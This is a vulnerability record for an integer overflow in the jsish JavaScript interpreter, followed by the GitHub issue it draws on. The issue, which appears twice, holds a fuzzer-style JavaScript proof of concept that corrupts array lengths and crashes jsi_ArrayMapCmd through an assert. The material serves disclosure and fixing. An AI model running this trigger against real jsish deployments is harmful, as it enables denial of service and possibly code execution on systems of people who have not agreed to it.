Integer overflow vulnerability in function Jsi_ObjSetLength in jsish before 3.0.6, allows remote attackers to execute arbitrary code.
cpe:2.3:a:jsish:jsish:*:*:*:*:*:*:*:*
7D5295FF-C964-46BF-97CD-53B7C71C9B5E
3.0.6
OR
# Enviroment
```
operating system: ubuntu18.04
compile command: ./configure && make
test command: ./jsish poc1 
```
# poc:
```
var o = [
    1,
    2
];
o = o.splice(o.length, o.length, o, o, o.length, 1.7976931348623157e+308);
o = o.toString(o.length);
var a = Object.keys(o);
var YzNz = new RegExp('kf}(Vq)XW8St');
o.length = -o.length;
o.length = 5e-324 >= 9007199254740992;
o.length = o == 1.3;
a.length = -9007199254740990;
o.length = a.length > o;
var FpXa = new RegExp('\fÇ\xAF\x8F\x93A\xAFuQ=ºC\x99e\xACCýæÜ47\x18');
var APSB = -9007199254740990 != a.length;
APSB = a.slice(a.length, a.length);
var ZDnB = a.map(function () {
}, function () {
});
```
The vulnerability code is in line src / jsiArray.c + 414, the function `jsi_ArrayMapCmd`, the vulnerability code is as follows:
![image](https://user-images.githubusercontent.com/13704697/79127884-33df4e00-7dd5-11ea-8343-b659d36551d7.png)
The `curlen` here is also the size of the array, and can be arbitrarily set in the js code, for example in the poc

![image](https://user-images.githubusercontent.com/13704697/79127909-3d68b600-7dd5-11ea-8556-8298dbd00f35.png)
The affected code is in the analytic function `Jsi_ObjSetLength`, as shown in the figure:

![image](https://user-images.githubusercontent.com/13704697/79127929-46598780-7dd5-11ea-9f14-a42e68ec43ef.png)
The actual array size len is larger than `obj-> arrMaxSize`, which triggers the assert.



integer overflow
This is a GitHub Issue
repo:jsish
owner:pcmacdon
Title : integer overflow
Issue date:

--- start body ---
# Enviroment
```
operating system: ubuntu18.04
compile command: ./configure && make
test command: ./jsish poc1 
```
# poc:
```
var o = [
    1,
    2
];
o = o.splice(o.length, o.length, o, o, o.length, 1.7976931348623157e+308);
o = o.toString(o.length);
var a = Object.keys(o);
var YzNz = new RegExp('kf}(Vq)XW8St');
o.length = -o.length;
o.length = 5e-324 >= 9007199254740992;
o.length = o == 1.3;
a.length = -9007199254740990;
o.length = a.length > o;
var FpXa = new RegExp('\fÇ\xAF\x8F\x93A\xAFuQ=ºC\x99e\xACCýæÜ47\x18');
var APSB = -9007199254740990 != a.length;
APSB = a.slice(a.length, a.length);
var ZDnB = a.map(function () {
}, function () {
});
```
The vulnerability code is in line src / jsiArray.c + 414, the function `jsi_ArrayMapCmd`, the vulnerability code is as follows:
![image](https://user-images.githubusercontent.com/13704697/79127884-33df4e00-7dd5-11ea-8343-b659d36551d7.png)
The `curlen` here is also the size of the array, and can be arbitrarily set in the js code, for example in the poc

![image](https://user-images.githubusercontent.com/13704697/79127909-3d68b600-7dd5-11ea-8556-8298dbd00f35.png)
The affected code is in the analytic function `Jsi_ObjSetLength`, as shown in the figure:

![image](https://user-images.githubusercontent.com/13704697/79127929-46598780-7dd5-11ea-9f14-a42e68ec43ef.png)
The actual array size len is larger than `obj-> arrMaxSize`, which triggers the assert.



--- end body ---

comments :
--- start comments ---

--- end comments ---